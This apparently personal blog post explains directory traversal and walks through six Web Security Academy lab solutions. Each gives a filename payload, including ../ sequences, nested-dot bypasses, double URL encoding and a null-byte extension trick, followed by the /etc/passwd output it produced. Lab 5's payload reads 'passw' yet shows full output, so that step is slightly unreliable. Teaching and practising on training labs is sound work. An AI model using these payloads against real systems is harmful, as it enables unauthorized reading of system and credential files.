What is Directory Traversal?, How to find it?, Directory traversal lab solution from Web Security Academy.

Mirabbas Agalarov
2 min readNov 28, 2021

--

What is Directory Traversal?

When web applications perform a file reading operation and use the input they receive from us to access any resource without making the necessary controls (filtering, coding, etc.), we have the opportunity to change what the application wants to access. Directory Traversal is useful here.

At this time, we can read files and access directories that users should not normally have access to.
This vulnerability can be called “Dot-Dot-Slash”, “Directory Traversal”, “Path Traversal”, “Directory Climbing”, “Backtracking”, ….
With this vulnerability, we can go to the top directory with the command (../) in Linux and read the etc/passwd file.
We can detect the existence of this vulnerability by going back inside after going to the top directory.
For example:

image?filename=/var/www/images/Image1.jpg then normally the image comes in. But if we make image?filename=/var/www/images/../images/Image1.jpg it still comes up, it means it’s in the directories. we know how to move.

Solutions of Web Security Academy Labs.

Lab1

image?filename=../../../etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

Lab2

image?filename=/etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lab3

image?filename=….//….//….//etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lab4

image?filename=..%252f..%252f..%252fetc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lab 5

image?filename=/var/www/images/../../../etc/passw

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lab6

image?filename=../../../etc/passwd%00.jpg

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

--

--

Mirabbas Agalarov
Mirabbas Agalarov

No responses yet